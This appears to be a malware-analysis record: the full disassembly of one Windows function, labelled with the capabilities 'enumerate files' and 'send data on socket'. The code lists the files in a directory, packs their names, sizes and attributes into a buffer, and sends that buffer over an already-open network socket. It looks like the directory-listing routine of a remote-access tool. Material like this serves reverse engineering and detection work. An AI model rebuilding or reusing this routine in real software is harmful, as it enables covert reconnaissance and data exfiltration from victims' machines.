Function at 0x4018b0
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405fed
mov eax, dword fs:[0]
push eax
mov eax, 0x2184
call fcn.00405f60
mov eax, dword [0x40a008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebx + 0x10]
lea eax, [ebx + 0x10]
mov dword [ebp - 0x218c], eax
mov eax, closesocket
sub eax, edx
mov dword [ebp - 0x2170], edx
cmp eax, 2
jb 0x401d75
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x216c], ebx
jb 0x40191a
mov eax, dword [ebx]
mov dword [ebp - 0x216c], eax
lea eax, [edx + 2]
mov dword [ebp - 0x2188], 0
mov esi, 0xf
mov dword [ebp - 0x2178], 0
mov dword [ebp - 0x2174], 0
lea edi, [ebp - 0x2188]
cmp eax, esi
jbe 0x4019d1
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401962
mov esi, closesocket
jmp 0x40196c
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x4019af
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x401d7a
push eax
call fcn.00405221
add esp, 4
test eax, eax
je 0x401a57
mov edx, dword [ebp - 0x2170]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4019c8
test ecx, ecx
je 0x4019c6
push ecx
call fcn.00405221
mov edx, dword [ebp - 0x2170]
add esp, 4
mov edi, eax
jmp 0x4019c8
xor edi, edi
mov dword [ebp - 0x2188], edi
lea eax, [edx + 2]
push edx
push dword [ebp - 0x216c]
mov dword [ebp - 0x2178], eax
push edi
mov dword [ebp - 0x2174], esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x2170]
add esp, 0xc
mov ecx, 0x2a5c
mov word [edi + eax], cx
lea ecx, [ebp - 0x168]
mov byte [edi + eax + 2], 0
lea eax, [ebp - 0x2188]
cmp dword [ebp - 0x2174], 0x10
push ecx
cmovae eax, dword [ebp - 0x2188]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edx, dword [ebp - 0x2174]
mov edi, eax
mov dword [ebp - 0x216c], edi
cmp edx, 0x10
jb 0x401a67
mov ecx, dword [ebp - 0x2188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401a5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a5d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004054a2
add esp, 8
mov dword [ebp - 0x2178], 0
mov dword [ebp - 0x2174], 0xf
mov byte [ebp - 0x2188], 0
cmp edi, 0xffffffff
jne 0x401afc
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x407458
call fcn.00404740
cmp dword [ebx + 0x14], 0x10
mov ecx, eax
jb 0x401aa1
mov ebx, dword [ebx]
mov eax, dword [ebp - 0x218c]
mov edx, ebx
push 0x404980
push ecx
push dword [eax]
call fcn.00404e20
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xff9
lea eax, [ebp - 0x2161]
mov word [ebp - 0x2164], 0x167
push 0
push eax
mov byte [ebp - 0x2162], 0xb
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2168], 0
lea eax, [ebp - 0x2168]
jmp 0x401d45
push 0xff9
lea eax, [ebp - 0x1161]
mov dword [ebp - 0x1168], 0xffa
push 0
push eax
mov word [ebp - 0x1164], 0x166
mov byte [ebp - 0x1162], 0xb
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor esi, esi
nop
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
lea edx, [eax + 1]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b52
sub eax, edx
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.004045b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
mov edi, dword [ebp - 0x14]
cmp edi, 0x10
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x18]
cmovae eax, ecx
cmp ebx, 1
jne 0x401b9d
movzx eax, byte [eax]
cmp al, 0x2e
jne 0x401b94
xor eax, eax
jmp 0x401b99
sbb eax, eax
or eax, 1
test eax, eax
je 0x401bc7
cmp edi, 0x10
lea edx, [ebp - 0x28]
cmovae edx, ecx
cmp ebx, 2
jne 0x401bdf
movzx eax, byte [edx]
cmp al, 0x2e
jne 0x401bbe
movzx eax, byte [edx + 1]
cmp al, 0x2e
jne 0x401bbe
xor eax, eax
jmp 0x401bc3
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401bdf
mov dword [ebp - 4], 0xffffffff
cmp edi, 0x10
jb 0x401d1c
lea edx, [edi + 1]
jmp 0x401cf4
test byte [ebp - 0x168], 0x10
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x401c2c
mov edx, str.:
call fcn.00404740
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
push 0x404980
cmovae edx, dword [ebp - 0x28]
push ecx
push dword [ebp - 0x18]
mov ecx, eax
call fcn.00404e20
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp + esi - 0x1161], 0xc
inc esi
jmp 0x401cbb
mov edi, dword [ebp - 0x148]
mov edx, 0x407484
mov ebx, dword [ebp - 0x14c]
call fcn.00404740
cmp dword [ebp - 0x14], 0x10
lea edx, [ebp - 0x28]
push dword [ebp - 0x18]
cmovae edx, dword [ebp - 0x28]
mov ecx, eax
call fcn.00404e20
add esp, 4
mov edx, 0x407478
mov ecx, eax
push 0x404980
push ebx
push edi
call fcn.00404740
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_long___int64__]
push ecx
mov edx, 0x407470
mov ecx, eax
call fcn.00404740
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x1160]
mov byte [ebp + esi - 0x1161], 0xd
add eax, esi
jne 0x401cb3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
jmp 0x401cb8
mov dword [eax], edi
mov dword [eax + 4], ebx
add esi, 9
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x1161]
cmovae eax, dword [ebp - 0x28]
add ecx, esi
push edx
push eax
call fcn.00401080
mov eax, dword [ebp - 0x18]
add esp, 8
inc eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
add esi, eax
cmp edx, 0x10
jb 0x401d1c
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401d12
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a57
push edx
push ecx
call fcn.004054a2
add esp, 8
mov edi, dword [ebp - 0x216c]
lea eax, [ebp - 0x168]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401b30
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x1168]
push 0
push 0x1000
push eax
push dword [0x40a67c]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040520e
mov esp, ebp
pop ebp
ret
call fcn.004012d0
call fcn.00401230
int3